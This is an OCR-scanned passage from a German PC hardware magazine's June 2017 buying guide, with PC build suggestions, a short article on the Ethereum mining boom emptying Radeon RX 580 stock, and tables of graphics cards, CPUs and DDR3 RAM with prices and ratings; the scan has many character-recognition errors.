Grafikkarte (Nvidia) 


Gainward Geforce GTX 1080 Phoenix 


€ 530,- 


Mainboard 


Asus Prime X370-Pro 


€ 150,- 


Mainboard 


MSI X299 SLI Plus 


€ 265,- 


Arbeitsspeicher 


Corsair Vengeance LPX, 2 x 8 GiB, DDR4-3000 


S gue 


Arbeitsspeicher 


G.Skill Ripjaws V, 4 x 8 GiB, DDR4-2800 


€ 250,- 


SSD Samsung SSD 850 Evo 500 GB 


€ 160,- 


SSD Samsung SSD 850 Evo 500 GB 


€ 160,- 


Netzteil 


Seasonic G-550 PCGH-Edition 550 W 


СОЕ 


Gesamtpreis (ab) € 1.465,- 


AMD Ryzen 7 1700X 

Der Ryzen 7 1700X ist die Wahl der 
Vernunft, wenn man selbst nicht mehr 
übertakten oder die Chance auf ein et- 
was besser selektiertes Modell haben 
móchte. Mit 3,4 GHz exklusive Boost 
láuft die CPU noch effizient. Alternativ 
können Käufer mit dem Ryzen 7 1700 
über 40 Euro sparen, müssen aber mit 
hóheren Spannungen rechnen. 


Asus Prime X370-Pro 

Das Asus Prime X370-Pro bietet viel 
Ausstattung zum humanen Preis. Ne- 
ben USB 3.1 am I/O-Panel gibt es auch 
einen entsprechenden Frontanschluss 
für Gehäuse. Reichlich SATA 6 Gbit/s 
und ein schneller M.2-Steckplatz sind 
dabei. Asus nennt den Corsair-RAM mit 
Dual-Rank-Aufbau in der Kompatibili- 
tätsliste mit DDR4-2933-Takt. 


Bild: Asus 


Alternativ-Komponenten 
1 Radeon RX 580, sofern erhältlich 


I Ryzen 7 1700 und B350-Mainboard zum Geldsparen, zum Beispiel 
das Asus Prime B350-Plus oder Gigabyte GA-AB350M-Gaming 3 
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Netzteil 


Corsair RM650x 650 W 


EE 


Gesamtbpreis (ab) € 1.955,- 


Intel Core i7-7820X 

Acht Kerne gibt es bei Intel mit der 
Skylake-X-Generation für 640 statt über 
900 Euro (über 1.000 bis einschließlich 
Mai). Gegenüber AMD ist das immer 
noch deutlich teurer, dafür ist vor allem 
die Single-Thread-Leistung wegen des 
Turbos höher. Kunden bekommen aller- 
dings nicht mehr die vollen 44, sondern 
beschnittene 28 PCI-Express-3.0-Lanes. 


MSI X299 SLI Plus 

Testen konnten wir das MSI X299 SLI 
Plus noch nicht. Der Vorgänger mit X99- 
PCH galt jedoch als Spartipp und auch 
das aktuelle Modell kann auf dem Pa- 
pier mit einer guten Ausstattung zum 
vergleichsweise fairen Preis überzeugen. 
Sofern sich MSI keine groben Schnitzer 
geleistet hat, sollte ein Blindkauf nicht 
unglücklich machen. 


Bild: MSI 


Alternativ-Komponenten 
1 (Teurer) Core i9-7900X für volle 44 PCI-Express-3.0-Lanes 
I Core i7-7800X, wenn man nicht auf den hohen Turbo 3.0 


angewiesen ist 


www.pcgameshardware.de 


Radeon RX 500 
nicht zu haben 


Der aktuelle Mining-Boom, vor allem rund um die 
Kryptowährung Ethereum, hat starke Auswirkun- 
gen auf den Grafikkartenmarkt. Eine Radeon RX 580 
oder RX 570 - neben den Vorgängern die beliebtes- 
ten Mining-GPUs - ist seit Wochen nicht mehr zu 
normalen Preisen erhältlich. Hat ein Händler doch 
mal überschüssige Exemplare auf Lager, werden sie 
zu überteuerten Preisen angeboten. 


achdem Bitcoins und später Litecoins 
N schon AMDs Verkäufe älterer Radeon- 
Grafikkarten angekurbelt haben, erreicht der 
Boom rund um Ethereum ganz neue Dimensio- 
nen. Schon seit einigen Wochen hat kein deut- 
scher Händler mehr eine Radeon RX 580 oder 
RX 570 für mehr als ein paar Stunden auf Lager. 
Größere Shops rufen noch die normalen Preise 
auf, haben allerdings so lange Bestelllisten, dass 
Neukäufer in naher Zukunft keine Auslieferung 
erwarten sollten. Prognosen nennen viele gar 
nicht erst, Mindfactory beispielsweise begrenzt 
Bestellungen auf drei Exemplare. 


Kleinere Händler nutzen die Gunst der Stunde, 
um neue Chargen zu regelrecht absurd hohen 
Preisen zu verkaufen. Eine Radeon RX 570 kos- 
tet dann über 300 Euro, eine RX 580 400 Euro 
und mehr. Schade für AMD: Der Chiphersteller 
profitiert von den hohen Preisen nicht extra, da 
die Polaris-GPUs, gegebenenfalls im Paket mit 
GDDRS5-Speicher, zu den gewohnten Preisen an 
die Boardpartner verkauft werden. Letztere ha- 
ben ebenfalls Verträge mit den Distributoren, zu 
deren Preisen die Grafikkarten geliefert werden 
müssen. 


Ähnliche Preise werden aktuell auch auf dem 
Gebrauchtmarkt aufgerufen und tatsächlich 
bezahlt. Wer letztes Jahr eine RX 480 oder RX 
470, vorzugsweise mit 8 GiByte Grafikspeicher, 
gekauft hat und diese jetzt geschickt an den Mi- 
ner bringt, Kann schon mit einem kleinen Auf- 
preis auf eine Geforce GTX 1070 oder GTX 1080 
upgraden - oder ein kleines Finanzpolster für 
die Radeon-RX-Vega-Generation anlegen. Glück- 
lich können sich zudem die Käufer von Hawaii 
(R9 290[X], R9 390[X]) schätzen, die bei den 
Minern ebenfalls noch einen hohen Anklang fin- 
den, besonders die 8-GiByte-Versionen. (mm) 
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Preisentwicklung und Kauftipps 


aufsfuehrer 


Normale Preisentwicklung der Gigabyte Radeon RX 580 XTR 8G 


300 
295 / 294,90 Euro 
290 N 
e V М 
m 285 
Zë 
л 
"© 280 
= 
а. 
275 
270 
`< 269,57 Euro 
265 
04.2017 > 06.2017 


Zeit 


RX 580 (XTR) (0) RX 560 (XTX) (0) RX570 БХ 200 БХ 550 RX400 RX470 RX460 БЭ Ешух Ei Nano R3Fuy R3300X Бэ 200 Бэ 205 


GPU AMD (nach Serle): 125 
&0 HD 6870 HO 6850 HO 5770 НО 6770 НО 4870 HD 5750 HD 6619 
HD 6570 HD 3870 HD 4670 HD 5550 RS 220 НО 8450 HD 6450 НО 2500 HD 5450 HD 4550 Alle 


Vergleichen Zurücksetzen Bestpreis 


1 Bild 9 Artikel Bewertung Eintrage u Prois a. Mandler mit Bestpreis 


Vergleichen Zurücksetzen 


Zum Redaktionsschluss war keine einzige Radeon RX 580 in Deutschland verfügbar. Dieses Bild zeigt sich nun 
schon seit Wochen im PCGH-Preisvergleich. 
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Einkaufsführer Grafikkarten 


Preise: Stand 22.06.2017 


Noten basierend auf der PCGH-Testmethodik – diesen Monat aktualisiert 


WEITE ERPREIS-LEISTUNGS-TIPP 


ШШ f SPAR-TIPP 


Nvidia Geforce Circa- Grafik- 3D-Taktung Verbrauch Länge/ А Benötigte Lautheit Test in 
Preis | speicher (GPU-Boost/RAM) |(2D/3D/Ernstfall) | (Slot-)Breite | Stromstecker | (2D/3D/Ernstfall) PCGH 
MSI GTX 1080 Ti Gaming X 11G Є 770,- 1264 MiB | 1.810+/1.377 MHz 5/280/283 Wa 27,8/4,5 cm | 2х 8-Ро 0,0/1,9/1,9 Ѕопе 1,53 06/2017 | www.pcgh.de/preis/1599330 
Gigabyte GTX 1080 Ti Aorus Xtr. Ed. | € 790,- .264 MiB | 1.747+/1.404 MHz | 18/251/252 Wa 29,3/5,5 cm | 2x 8-Po 0,0/1,7/1,8 Sone 1,53 06/2017 | www.pcgh.de/preis/1598560 
Asus GTX 1080 Ti Strix ОС (O11G) | € 810,- | 11.264 MiB | 1.823+/1.377 MHz | 16/276/277 Wa 30,0/4,6 cm | 2x 8-Po 0,0/2,2/2,2 Sone 1,54 06/2017 | www.pcgh.de/preis/1587607 
Inno 3D GTX 1080 Ti iChill X3 Ultra | € 780,- .264 MiB | 1.835+/1.426 MHz | 14/272/273 Wa 30,2/4,5 cm | 1x 8-/1x 6-Pol | 0,0/1,8/1,8 Sone 1,54 06/2017 | www.pcgh.de/preis/1591589 
Zotac GTX 1080 Ti AMP! Extreme | €850,- | 11.264 MiB | 1.898+/1.400 MHz | 16/319/326 Wa 31,0/5,3 cm | 2x 8-Po 0,0/3,6/3,6 Sone 1,55 06/2017 | www.pcgh.de/preis/1593440 
EVGA GTX 1080 Ti FTW3 Gaming | € 870,- .264 MiB | 1.823+/1.377 MHz | 16/290/290 Wa 30,1/3,5 cm | 2x 8-Po 0,0/2,6/3,5 Sone 1,57 08/2017 | www.pcgh.de/preis/ 595665 «Т ТА 
KFA2 GTX 1080 Ti EXOC €720,- | 11.264 МІВ | 1.709+/1.377 MHz | 13/253/254 Wa 27,8/3,4cm | 1х 8-/1x 6-Pol | 0,0/0,4/0,5 Sone 1,60 08/2017 | www.pcgh.de/preis/ 602039 NEU 
MSI GTX 1080 Ti Armor OC 11G € 730,- .264 MiB | 1.797+/1.377 MHz | 14/282/283 Wa 27,8/3,5 cm | 2x 8-Po 0,0/4,0/4,0 Sone 1,63 08/2017 | www.pcgh.de/preis/1599331 NEU 
Palit GTX 1080 Ti Super Jetstream | € 750,- .264 MiB | 1.709+/1.377 MHz | 16/252/255 Wa 28,5/5,3 ст | 2x 8-Po 0,0/1,9/1,9 Sone 1,63 08/2017 | www.pcgh.de/preis/ 599327 NEU. 
EVGA GTX 1080 Ti SC2 € 800,- .264 MiB | 1.734+/1.377 MHz | 14/251/255 Wa 27,0/3,5 cm x 8-/1x 6-Pol | 0,0/3,4/4,4 Sone 1,64 08/2017 | www.pcgh.de/preis/ 595663. NEU. 
nno 3D GTX 1080 Ti Twin X2 € 720,- .264 MiB | 1.671+/1.377 MHz 5/255/255 Wa 26,9/3,5 cm x 8-/1x 6-Pol | 0,0/2,7/2,7 Sone 1,67 08/2017 | www.pcgh.de/preis/1591591 NEU. 
Zotac GTX 1080 AMP! Extreme €590,- |8.192 MiB | 1.9874/1.350 MHz | 10/259/275 Wa 31,2/5,0 cm | 2x 8-Po 0,0/1,7/1,9 Sone 1,84 08/2016 | www.pcgh.de/preis/1449220 
Gainward GTX 1080 Phoenix СІН | €550,- | 8.192 МІВ | 1.911+/1.315 MHz | 8/219/220 Watt 28,5/5,2 cm x 8-/1x 6-Pol | 0,0/1,5/1,5 Sone 1,85 08/2016 | www.pcgh.de/preis/1456253 
Palit GTX 1080 Game Rock Prem. € 610,- |8.192 MIB | 1.911+/1.315 MHz | 8/220/220 Watt 28,5/5,2 cm x 8-/1x 6-Pol | 0,0/1,5/1,5 Sone 1,87 08/2016 | www.pcgh.de/preis/1449283 
EVGA GTX 1080 FTW ACX 3.0 €580,- | 8.192 MiB | 1.936+/1.251 MHz | 12/237/247 Wa 27,3/3,5 cm | 2x 8-Po 0,0/2,4/2,4 Sone 1,88 08/2016 | www.pcgh.de/preis/1449255 
MSI GTX 1080 Gaming X 8G €580,- |8.192 MiB | 1.886+/1.251 MHz | 13/235/245 Wa 21,7/3,5 cm x 8-/1x 6-Pol | 0,0/2,3/2,3 Sone 1,91 08/2016 | www.pcgh.de/preis/1449271 
Palit GTX 1070 Game Rock Prem. € 520,- |8.192 MiB | 1.936+/4.253 MHz | 9/171/174 Watt 28,5/5,2 cm x 8-Po 0,0/0,8/0,8 Sone 2,07 08/2016 | www.pcgh.de/preis/1456802 
Zotac GTX 1070 AMP! Extreme €500,- |8.192 MiB | 1.987+/4.104 MHz | 12/219/253 Wa 31,2/5,0 ст | 2x 8-Po 0,0/1,6/1,9 Sone 2,08 09/2016 | www.pcgh.de/preis/1456755 
nno 3D GTX 1070 iChill ХЗ €490,- |8.192 MiB | 1.949+/4.104 MHz | 10/190/192 Wa 30,2/4,5 cm x 8-Po 0,0/1,5/1,5 Sone 2,10 09/2016 | www.pcgh.de/preis/1450744 
Asus GTX 1070 Strix OC (08G) €500,- |8.192 MiB | 1.911+/4.007 MHz | 8/166/167 Watt 29,9/3,5 cm x 8-Po 0,0/1,8/1,8 Sone 2,12 08/2016 | www.pcgh.de/preis/1450613 
MSI GTX 1070 Gaming X 8G €520,- | 8.192 MiB | 1.924+/4.007 MHz | 11/208/208 Wa 21,7/3,5 cm x 8-/1x 6-Pol | 0,0/1,4/1,4 Sone 2,13 08/2016 | www.pcgh.de/preis/1456552 
Gigabyte GTX 1060 Xtr. Ed. 9Gbps | € 350,- | 6.144 MiB | 1.974+/4.514 MHz | 12/148/149 Wa 28,0/5,5 cm x 8-Po 0,0/1,1/1,1 Sone 2,44 07/2017 | www.pcgh.de/preis/1613097 
Asus GTX 1060 Strix OC (066) €330,- | 6.144 МІВ | 1.987+/4.104 MHz | 8/145/145 Watt 30,0/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2,45 0/2016 | www.pcgh.de/preis/1478721 
Zotac GTX 1060 AMP!4- €330,- | 6.144 МІВ | 1.8604/4.514 MHz | 9/121/121 Watt 21,2/3,4 cm x 6-Po 0,0/1,0/1,0 Sone 2,47 07/2017 | www.pcgh.de/preis/1605045 
MSI GTX 1060 Gaming X 6G €320,- | 6.144 MiB | 1.949+/4.007 MHz | 8/146/146 Watt 21,7/3,5 cm x 8-Po| 0,0/0,7/0,7 Sone 2,47 0/2016 | www.pcgh.de/preis/1478791 
Asus GTX 1060 Strix O6G-9Gbps | €320,- | 6.144 МІВ | 1.911+/4.514 MHz | 9/132/132 Watt 21,7/3,5 cm x 6-Po| 0,0/1,4/1,4 Sone 2,48 07/2017 | www.pcgh.de/preis/1612603 
Zotac GTX 1060 AMP! €280,- | 6.144 MiB | 1.848+/4.007 MHz | 9/121/123 Watt 21,1/3,4 cm x 8-Po| 0,0/1,0/1,0 Sone 2,50 0/2016 | www.pcgh.de/preis/1478147 (ir elek 
Gigabyte GTX 1060 G1 Gaming €300,- | 6.144 MiB | 1.962+/4.007 MHz | 9/153/153 Watt 21,9/3,5 cm x 8-Po| 0,0/2,4/2,4 Sone 2,51 0/2016 | www.pcgh.de/preis/1479045 
Gainward GTX 1060 Phoenix GS €300,- | 6.144 MiB | 1.860+/4.007 MHz | 6/124/125 Watt 24,6/4,8 cm x 6-Po| 0,0/1,4/1,4 Sone 2,53 0/2016 | www.pcgh.de/preis/1478764 
Palit GTX 1060 Super Jetstream € 300,- | 6.144 MiB 1.860+/4.007 MHz | 6/123/125 Watt 24,8/4,8 cm x 6-Pol 0,0/1,3/1,3 Sone 2,55 0/2016 | www.pcgh.de/preis/1478641 
EVGA GTX 1060 SC Gaming €320,- | 6.144 MiB | 1.898+/4.007 MHz | 6/122/125 Watt 18,2/3,5 cm x 6-Po 0,0/2,5/2,5 Sone 2,58 0/2016 | www.pcgh.de/preis/1479077 
Asus GTX 1050 Ti Strix 04G € 180,- | 4.096 MiB | 1.797+/3.504 MHz | 8/76/92 Watt 24,1/3,5 cm x 6-Po 0,0/0,8/0,9 Sone 2,86 01/2017 | www.pcgh.de/preis/1527166 
Gigabyte GTX 1050 Ti G1 Gaming | € 165,- | 4.096 MiB | 1.645+/3.504 MHz | 8/67/68 Watt 22,0/3,5 cm x 6-Po 0,0/0,3/0,3 Sone 2,89 01/2017 | www.pcgh.de/preis/1526013 
EVGA GTX 1050 Ti SC Gaming € 160,- | 4.096 MiB | 1.557+/3.504 MHz | 6/56/59 Watt 15,2/3,5 cm 0,2/0,4/0,4 Sone 2,96 01/2017 | www.pcgh.de/preis/1525248 
Asus GTX 1050 Expedition € 120,- | 2.048 MiB | 1.493+/3.504 MHz | 6/55/55 Watt 21,1/3,5 cm 0,0/0,5/0,5 Sone 3,15 01/2017 | www.pcgh.de/preis/1525209 
AMD Radeon ° ee ecce nn sp s кы R 
AMD R9 Fury X ** €580,- | 4.096 MiB | 1.050/1.000 MHz 21/346/385 Wa 19,5/3,3 cm | 2x 8-Po| 1,3/1,6/1,6 Sone 2,46 09/2015 | www.pcgh.de/preis/1285788 
Sapphire RX 580 Nitro+ Limited Ed. | € 350,- | 8.192 MiB | 1.380+/4.000 MHz | 16/215/233 Wa 26,2/4,5 cm x 8-/1x 6-Pol | 0,0/1,5/1,7 Sone 255) 07/2017 | www.pcgh.de/preis/1610153 
Powercolor RX 580 Red Devil GS €350,- | 8.192 MiB | 1.420+/4.000 MHz | 13/240/246 Wa 24,1/5,1 cm x 8-/1x 6-Pol | 0,0/1,9/2,5 Sone 2,55 07/2017 | www.pcgh.de/preis/1609947 
Asus R9 Fury Strix €620,- | 4.096 MiB | 970+/1.000 MHz 2/267/274 Wa 30,0/3,5 cm | 2x 8-Po 0,0/2,6/3,1 Sone 2,56 09/2015 | www.pcgh.de/preis/1296495 
Gigabyte RX 580 Aorus XTR 8G €350,- |8.192 MiB | 1.410+/4.000 MHz | 18/268/269 Wa 27,6/5,4 cm x 8-/1x 6-Pol | 0,0/2,1/2,1 Sone 2:57, 07/2017 | www.pcgh.de/preis/1610162 
MSI RX 580 Gaming X 8G €350,- |8.192 MiB | 1.320+/4.000 MHz | 16/205/210 Wa 27,5/3,5 cm x 8-Po| 0,0/2,0/2,3 Sone 2,58 07/2017 | www.pcgh.de/preis/1609960 
Asus RX 580 Strix TOP (T8G) €350,- | 8.192 MiB | 1.405+/4.000 MHz | 14/222/226 Wa 30,0/4,5 cm x 8-Po| 0,0/3,5/3,5 Sone 2:59 07/2017 | www.pcgh.de/preis/1610032 
MSI RX 480 Gaming X 8G €350,- |8.192 MiB | 1.303/4.000 MHz 18/209/225 Wa 27,5/3,5 cm x 8-Po| 0,0/2,2/2,4 Sone 2,60 10/2016 | www.pcgh.de/preis/1473074 
Asus R9 Nano White €620,- | 4.096 MiB | 850+/1.000 MHz 4/198/205 Wa 15,3/3,5 cm x 8-Po 0,8/2,9/2,9 Sone 2,60 06/2016 | www.pcgh.de/preis/1355032 
Sapphire RX 480 Nitro+ OC 8GB €300,- |8.192 MiB | 1.300+/4.000 MHz | 14/215/230 Wa 24,0/3,5 cm x 8-Po 0,0/5,4/6,6 Sone 2,60 10/2016 | www.pcgh.de/preis/1477778 
Sapphire RX 570 Nitro+ 8GD5 €300,- | 8.192 MiB | 1.320+/3.500 MHz 5/202/221 Wa 26,0/3,8 cm x 8-/1x 6-Pol | 0,0/1,0/1,7 Sone 2,62 07/2017 | www.pcgh.de/preis/1610158 
Powercolor RX 480 Red Devil € 300,- | 8.192 MiB 1.190+/4.000 MHz 8/199/200 Wa 30,0/3,5 cm x 8-Pol 0,0/2,3/2,3 Sone 2,64 10/2016 | www.pcgh.de/preis/1480295 
Sapphire RX 480 Nitro-- 4D5 OC €300,- | 4.096 MiB | 1.306/3.500 MHz 4/207/220 Wa 24,0/3,5 cm x 8-Po 0,0/4,2/5,0 Sone 2,70 10/2016 | www.pcgh.de/preis/1477762 
Sapphire RX 470 Nitro+ 4D5 OC €250,- | 4.096 MiB | 1.2204/3.500 MHz | 15/195/209 Wa 24,0/3,5 cm x 8-Po 0,0/2,5/2,7 Sone 2,72 01/2017 | www.pcgh.de/preis/1483308 
Asus RX 580 Dual 046 € 280,- | 4.096 MiB | 1.260+/3.500 MHz | 14/181/185 Wa 24,1/3,5 cm x 8-Po 0,0/4,1/4,1 Sone 2,74 07/2017 | www.pcgh.de/preis/1610054 
Powercolor RX 570 Red Devil € 230,- | 4.096 MiB | 1.320/3.500 MHz 13/225/260 Wa 30,0/3,5 cm x 8-Po| 0,0/2,7/5,2 Sone 2,77 07/2017 | www.pcgh.de/preis/1609990 
Powercolor RX 470 Red Devil € 230,- | 4.096 MiB 1.125+/3.500 MHz | 17/174/182 Wa 24,0/3,5 cm x 8-Ро! 0,0/4,6/4,7 Sone 2,83 01/2017 | www.pcgh.de/preis/1488318 
Sapphire RX 570 Pulse ITX © 200,- | 4.096 MiB | 1.1304/3.500 MHz | 13/144/147 Wa 17,0/3,5 cm x 6-Po| 0,0/0,9/1,2 Sone 2,83 07/2017 | www.pcgh.de/preis/1610160 
Asus RX 470 Strix OC € 230,- | 4.096 MiB | 1.050+/3.300 MHz | 16/146/151 Wa 24,2/3,5 cm x 6-Po| 0,0/3,2/3,6 Sone 2,84 01/2017 | www.pcgh.de/preis/1488369 
Asus RX 460 Strix 046 Є 130,- | 4.096 MiB | 1.225+/3.500 MHz | 9/98/105 Watt 19,5/3,5 cm x 6-Po 0,0/1,6/1,6 Sone 3/15 01/2017 | www.pcgh.de/preis/1490013 
* Im Juni war kaum ein Modell lieferbar, daher viele Platzhalterpreise bis zur neuen Charge — ** Beliebige Referenzkarte, bis auf die Beigaben sind alle gleich. Sapphire-Karten: Sofern verfügbar, wurde die Full-Retail-Version getestet. 
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Einkaufsführer Prozessoren & RAM 


Preise: Stand 22.06.2017 


Prozessoren (noch ohne Berücksichtigung von Skylake X/Kaby Lake X, da К 


(EEPPTPREI-LEISTUNGS-TIPP 


e finalen Testmuster) 


[EL PISPAR-TIPP 


AMD-Prozessoren | Preis Leistung* Stromverbrauch** | Kerne | Grafik Basis-Takt Prozess | RAM (max.) | Sockel Э PCG svergle 
AMD Ryzen 7 1800X | Са. € 475,- | 80,3 %/85,2 % | 28/326/264/182 8c/16t |- 3,6 GHz + Turbo |14пт | DDR4-2667 | АМА 1,82 | 05/2017 | www.pcgh.de/preis/1582191 
AMD Ryzen 7 1700X | Ca. € 355,- | 77,3 %/80,9 % | 28/315/256/169 8c/16t 3,4 GHz + Turbo |14пт | DDR4-2667 | АМА 1,90 | 05/2017 | www.pcgh.de/preis/1582190 
AMD Ryzen 7 1700 | Са. €310,- | 74,1 %/75,3 % | 28/296/244/157 8c/16t 3,0 GHz + Turbo |14пт | DDR4-2667 | AM4 2,01 05/2017 | www.pcgh.de/preis/1582201 
AMD Ryzen 5 1600X | Ca. € 245,- | 78,7 %/69,6 % | 28/317/261/166 6c/12t 3,6 GHz + Tubo | 14 пт | DDR4-2667 | AMA 2,02 | 06/2017 | www.pcgh.de/preis/1604881 
ТИЗ” AMD Ryzen 5 1600 | Са. €210,- | 75,0 %/65,1 % | 30/303/252/149 6c/12t 3,2 GHz + Turbo | 14 пт | DDR4-2667 | AMA 2,36 | 07/2017 | www.pcgh.de/preis/1604879 
AMD Ryzen 5 1500X | Ca. € 185,- | 70,9 %/51,1 % | 28/275/244/137 4cl8t 3,5 GHz + Turbo |14пт | DDR4-2667 | AMA 2,13 | 06/2017 | www.pcgh.de/preis/1604878 
AMD Ryzen 5 1400 | Ca. €160,- | 62,2 %/44,7 % | 29/258/232/126 4с/8ї 3,2 GHz + Turbo | 14 пт |DDR4-2667 | AM4 2,59 | 07/2017 | www.pcgh.de/preis/1604876 
AMD FX-9590 Са. € 165,- | 59,4 %/46,2 % | 40/441/383/309 4m/8t 4,7 GHz + Turbo |32nm | DDR3-1866 | AM3+ 2,98 | 03/2016 | www.pcgh.de/preis/973468 
AMD FX-8370 Ca.€160- | 55,1 %/42,2 % | 39/359/318/227 4m/8t 4,0 GHz + Turbo |32nm | DDR3-1866 | AM3+ 3,04 -*** | www.pcgh.de/preis/1155953 
AMD FX-8350 Са. € 120,- | 54,6 %/42,0 % | 40/355/312/218 4m/8t 4,0 GHz + Turbo |32nm |DDR3-1866 | AM3+ 3,05 | 03/2016 | www.pcgh.de/preis/852989 
ПШ TD AMD FX-8300 Ca. € 95,- 49,5 %/36,3 % | 38/295/270/180 4m/8t |- 3,3 GHz + Turbo | 32 пт | DDR3-1866 | AM3+ 3,16 | 03/2017 | www.pcgh.de/preis/1156019 
AMD FX-6350 Ca. € 90,- 48,3 %/33,1 % | 40/316/285/190 3m/6t |- 3,9 GHz + Тиро | 32nm | DDR3-1866 | AM3+ 3,25 e www.pcgh.de/preis/939528 
AMD FX-6300 Ca. € 75,- 46,3 %/30,5 % | 40/287/272/174 3m/6t |- 3,5 GHz + Тиро | 32 nm | DDR3-1866 | AM3+ 3,31 ‚++ www.pcgh.de/preis/853168 
Intel-Prozessoren Preis Leistung* Stromverbrauch** | Kerne | Grafik Basis-Takt Prozess | RAM (max.) | Sockel ЭТ PCGH-Preisvergleich 
ntel Core i7-6950X | Ca. € 1.540,- | 100 %/100 % | 50/370/288/184 10c/20t | - 3,0 GHz + Turbo | 14 пт | DDR4-2400 | 2011-3 1,51 07/2016 | www.pcgh.de/preis/1394456 
ntel Core i7-7700K | Ca. € 340,- | 98,2 %/65,8 % | 19/320/275/145 4cd8t | HD 630 4,2 GHz + Tubo | 14 пт | DDR4-2400 | 1151 1,63 | 02/2017 | www.pcgh.de/preis/1551097 
ntel Core i7-6900K | Ca. € 940,- | 96,8 %/90,7 % | 50/349/291/186 8c/16t |- 3,2 GHz + Turbo |14пт | DDR4-2400 | 2011-3 1,69 | 07/2016 | www.pcgh.de/preis/1394462 
ntel Core i7-6700K | Ca. €325,- | 91,4 %/60,7 % | 21/302/256/126 4cd8t | HD 530 4,0 GHz + Turbo |14пт | DDR4-2133 |1151 1,78 | 03/2016 | www.pcgh.de/preis/1290371 
ntel Core i7-5775C | Са. € 400,- | 95,6 96/54,7 % | 19/287/252/120 Ac/8t | Iris Pro 6200 | 3,3 GHz + Turbo | 14 nm | DDR3(L)-1600 | 1150 1,85 | 03/2016 | www.pcgh.de/preis/1275291 
ntel Core 17-5960Х | Ca. € 1.090,- | 88,5 %/81,2 % | 49/364/286/202 8c/16t |- 3,0 GHz + Turbo |22nm | DDR4-2133 | 2011-3 1,95 | 03/2016 | www.pcgh.de/preis/1121089 
ntel Core i7-6800K | Ca. € 390,- | 89,3 %/70,2 % | 49/344/282/170 6c/12t |- 3,4 GHz + Turbo |14пт | DDR4-2400 | 2011-3 2,06 | 08/2016 | www.pcgh.de/preis/1394467 
ntel Core 17-5820К | Ca. € 400,- | 86,3 %/65,8 % | 46/340/278/176 6c/12t 3,3 GHz + Turbo | 22 пт | DDR4-2133 | 2011-3 2,15 | 03/2016 | www.pcgh.de/preis/1121100 
ntel Core i7-4790K | Ca. €360,- | 81,6 %/57,1 % | 18/320/261/134 4d8 HD 4600 4,0 GHz + Turbo |22nm |DDR3-1600 | 1150 2,15 | 03/2016 | www.pcgh.de/preis/1119923 
ntel Core i5-7600K | Са. € 230,- | 76,8 %/47,9 % | 19/262/238/112 4/4 HD 630 3,8 GHz + Turbo | 14 пт | DDR4-2400 |1151 2,18 | 02/2017 | www.pcgh.de/preis/1551201 
ntel Xeon E3-1230 v5 | Ca. € 270,- | 79,5 %/54,4 % | 19/265/234/118 4/8 - 3,4 GHz + Turbo | 14 пт | DDR4-2133 | 1151 2,36 | 03/2016 | www.pcgh.de/preis/1343661 
ntel Core i5-5675C Ca. € 250,- 78,4 %/41,7 % | 17/245/228/107 4c/4 ris Pro 6200 | 3,1 GHz + Turbo | 14 nm | DDR3(L)-1600 | 1150 2,29 itm www.pcgh.de/preis/1275321 
ntel Core i5-6600K | Са. Є 230,- | 67,0 %/43,7 % | 22/245/225/109 4c/8 HD 530 3,5 GHz + Turbo | 14 пт | DDR4-2133 | 1151 2,42 | 03/2016 | www.pcgh.de/preis/1290376 
ntel Core i7-3770K Са. Є 370,- | 70,4 %/45,5 % | 25/267/235/123 4d8 HD 4600 3,5 GHz + Turbo |22nm | DDR3-1600 |1155 2,52 | 03/2016 | www.pcgh.de/preis/761779 
ntel Core i5-7500 Са. € 190,- | 72,1 %/43,6 % | 18/242/224/99 4/4 НО 630 3,4 GHz + Turbo | 14 пт | DDR4-2400 | 1151 2,52 | 04/2017 | www.pcgh.de/preis/1554205 
ntel Core i3-7350K | Ca. € 160,- | 65,5 %/34,1 % | 19/230/218/108 2d4 HD 630 4,2 GHz 14 пт | DDR4-2400 | 1151 2,56 | 03/2017 | www.pcgh.de/preis/1557508 
ntel Core i5-7400 Ca. € 170,- | 67,6 %/40,5 % | 18/232/216/94 4/4 НО 630 3,0 GHz + Turbo | 14 пт | DDR4-2400 | 1151 2,63 | 04/2017 | www.pcgh.de/preis/1553204 
ntel Core i5-4690K | Са. Є 255,- | 65,1 %/41,0 % | 18/256/229/123 4/4 HD 4600 3,5 GHz + Turbo | 22 пт | DDR3-1600 | 1150 2,63 -*** | www.pcgh.de/preis/1119925 
ntel Core i5-6500 Ca. € 195,- | 63,6 %/40,4 % | 19/232/219/103 4/4 НО 530 3,2 GHz + Turbo | 14 пт |DDR4-2133 | 1151 2,74 | 03/2016 | www.pcgh.de/preis/1290386 
ntel Core i3-6100 Са. Є 110,- |57,2 %/29,8 % | 21/221/208/94 2d4 HD 530 3,7 GHz 14 пт | DDR4-2133 | 1151 2:95 -*** | www.pcgh.de/preis/1329935 
ntel Pentium G4560 | Ca. € 65,- 55,0 %/26,9 % | 19/210/201/99 20/4 НО 610 3,5 GHz 14 пт | DDR4-2400 | 1151 3,17 | 03/2017 | www.pcgh.de/preis/1558362 
ntel Pentium 64400 | Ca. € 50,- 26,1 %/20,0 % | 17/193/384/81 2d2 HD 510 3,3 GHz 14 пт | DDR4-2133 | 1151 BUB -*** | www.pcgh.de/preis/1329945 
* Normierte, gewichtete Leistung in Spielen/Anwendungen ** Gesamtes System in Watt (Leerlauf ohne Grafikkarte/Crysis 3/0 Spiele/O Anwendungen) *** Nachgetestet ohne Heftartikel 
DDR3 Produktnummer Preis Speichertyp Latenzen Aufbau* Höhe | Spannung MELT PCGH-Preisvergleich 
Т ИЭ, G.Skill Trident X F3-1600C7D-16GTX Са. € 110,- | 2 x 8 GiByte DDR3-1600 | 7-8-8-24 Dual-Rank | 5,4 cm | 1,65 Vol 2,39 | 06/2015 | www.pcgh.de/preis/855480 
Kingston Hyper X Savage HX321C11SRK2/16 Са. € 150,- | 2 x 8 GiByte DDR3-2133 | 11-12-12-30 | Dual-Rank | 3,4 cm | 1,60 Vo 2,47 | 06/2015 | www.pcgh.de/preis/1160242 
Ballistix Tactical BLT2CP8G3D1869DT1TXOEU Ca. € 140,- | 2 x 8 GiByte DDR3-1866 | 9-9-9-27 Dual-Rank | 3,6 cm | 1,50 Vol 2,52 | 08/2014 | www.pcgh.de/preis/1037301 
G.Skill Trident X F3-2400C10D-16GTX Са. € 120,- | 2 x 8 GiByte DDR3-2400 | 10-12-12-31 | Dual Rank | 5,4 cm | 1,65 Vo 2,54 | 09/2013 | www.pcgh.de/preis/764621 
